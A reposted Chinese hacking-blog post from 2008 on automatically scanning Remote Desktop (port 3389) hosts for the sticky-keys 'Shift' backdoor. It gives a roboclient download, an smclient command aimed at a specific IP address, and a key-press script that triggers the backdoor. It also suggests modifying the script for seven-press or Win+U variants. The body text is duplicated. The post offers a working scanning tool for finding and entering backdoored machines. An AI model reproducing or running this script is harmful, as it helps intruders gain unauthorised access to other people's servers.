3389的SHIFT后门自动扫描【转自NEEAO】
作者:子曰 日期:2008-09-18
from:http://hi.baidu.com/cloie/blog/item/6753735065864a64853524d3.html
By:cloie
首先3389的SHIFT后门极少
其次大部分SHIFT后门都加密
所以手工一个一个尝试是挺傻的,写成自动扫描的话,还能让人忍受
下载ftp://ftp.microsoft.com/ResKit/win2000/roboclient.zip
smclient -f:shift_backdoor.txt -s:125.91.15.254 -l:1 -v -d
shift_backdoor.txt:
job
{
connect("","","",1,1);
sleep(2000);
senddata("WM_KEYDOWN",16,2752513);
senddata("WM_KEYUP",16,3223977985);
senddata("WM_KEYDOWN",16,2752513);
senddata("WM_KEYUP",16,3223977985);
senddata("WM_KEYDOWN",16,2752513);
senddata("WM_KEYUP",16,3223977985);
senddata("WM_KEYDOWN",16,2752513);
senddata("WM_KEYUP",16,3223977985);
senddata("WM_KEYDOWN",16,2752513);
senddata("WM_KEYUP",16,3223977985);
sleep(2000);
disconnect();
}
有些SHIFT后门被改成了按7次SHIFT,或者是WIN+U后门,改改shift_backdoor.txt把功能加进去即可
By:cloie
首先3389的SHIFT后门极少
其次大部分SHIFT后门都加密
所以手工一个一个尝试是挺傻的,写成自动扫描的话,还能让人忍受
下载ftp://ftp.microsoft.com/ResKit/win2000/roboclient.zip
smclient -f:shift_backdoor.txt -s:125.91.15.254 -l:1 -v -d
shift_backdoor.txt:
job
{
connect("","","",1,1);
sleep(2000);
senddata("WM_KEYDOWN",16,2752513);
senddata("WM_KEYUP",16,3223977985);
senddata("WM_KEYDOWN",16,2752513);
senddata("WM_KEYUP",16,3223977985);
senddata("WM_KEYDOWN",16,2752513);
senddata("WM_KEYUP",16,3223977985);
senddata("WM_KEYDOWN",16,2752513);
senddata("WM_KEYUP",16,3223977985);
senddata("WM_KEYDOWN",16,2752513);
senddata("WM_KEYUP",16,3223977985);
sleep(2000);
disconnect();
}
有些SHIFT后门被改成了按7次SHIFT,或者是WIN+U后门,改改shift_backdoor.txt把功能加进去即可
评论: 0 | 引用: 0 | 查看次数: -
发表评论
上一篇
下一篇

文章来自:
Tags: